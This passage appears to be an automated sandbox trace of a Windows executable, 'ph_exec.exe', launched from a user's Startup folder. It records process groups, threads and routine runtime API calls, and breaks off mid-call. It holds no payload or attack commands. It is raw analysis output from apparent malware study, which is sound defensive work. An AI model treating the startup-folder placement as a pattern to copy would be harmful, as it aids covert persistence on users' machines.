[0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001027d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 158 os_tid = 0x998 Thread: id = 159 os_tid = 0x974 Thread: id = 160 os_tid = 0x4c4 Thread: id = 161 os_tid = 0x4bc Thread: id = 162 os_tid = 0x760 Thread: id = 163 os_tid = 0x668 Thread: id = 164 os_tid = 0x660 Thread: id = 165 os_tid = 0x61c Thread: id = 166 os_tid = 0x618 Thread: id = 167 os_tid = 0x610 Thread: id = 168 os_tid = 0x5d0 Thread: id = 169 os_tid = 0x5cc Process: id = "15" image_name = "ph_exec.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" page_root = "0x5b541000" os_pid = "0xf38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xdac" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 180 os_tid = 0xf3c [0126.266] GetStartupInfoW (in: lpStartupInfo=0x6ffcc4 | out: lpStartupInfo=0x6ffcc4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0126.266] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.266] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xf10000 [0126.269] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0126.269] GetProcAddress (hModule=0x759a0000, lpProcName="FlsAlloc") returned 0x759b4ae0 [0126.269] GetProcAddress (hModule=0x759a0000, lpProcName="FlsGetValue") returned 0x759b4b20 [0126.269] GetProcAddress (hModule=0x759a0000, lpProcName="FlsSetValue") returned 0x759b4b40 [0126.270] GetProcAddress (hModule=0x759a0000, lpProcName="FlsFree") returned 0x759b4b00 [0126.270] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x214) returned 0xf105a8 [0126.270] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0126.270] GetCurrentThreadId () returned 0xf3c [0126.270] GetStartupInfoW (in: lpStartupInfo=0x6ffc60 | out: lpStartupInfo=0x6ffc60*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0126.270] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x800) returned 0xf107c8 [0126.271] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0126.271] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0126.271] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0126.271] SetHandleCount (uNumber=0x20) returned 0x20 [0126.271] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " [0126.271] GetEnvironmentStringsW () returned 0x73dc58* [0126.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0126.271] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x565) returned 0xf10fd0 [0126.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0xf10fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0126.271] FreeEnvironmentStringsW (penv=0x73dc58) returned 1 [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] GetACP () returned 0x4e4 [0126.271] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x220) returned 0xf11540 [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] IsValidCodePage (CodePage=0x4e4) returned 1 [0126.271] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x6ffc28 | out: lpCPInfo=0x6ffc28) returned 1 [0126.271] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x6ff6f4 | out: lpCPInfo=0x6ff6f4) returned 1 [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x6ff478, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.271] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x6ff708 | out: lpCharType=0x6ff708) returned 1 [0126.271] GetLastError () returned 0xcb [0126.271] SetLastError (dwErrCode=0xcb) [0126.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x6ff438, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.272] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0126.272] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x6ff228, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0126.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x6ffa08, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xff\x86\x59\xba\x40\xfc\x6f", lpUsedDefaultChar=0x0) returned 256 [0126.272] GetLastError () returned 0xcb [0126.272] SetLastError (dwErrCode=0xcb) [0126.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.272] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ffb08, cbMultiByte=256, lpWideCharStr=0x6ff458, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.272] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0126.272] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x6ff248, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0126.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x6ff908, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xff\x86\x59\xba\x40\xfc\x6f", lpUsedDefaultChar=0x0) returned 256 [0126.272] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x133f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.272] SetLastError (dwErrCode=0x0) [0126.272] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError (dwErrCode=0x0) [0126.273] GetLastError () returned 0x0 [0126.273] SetLastError 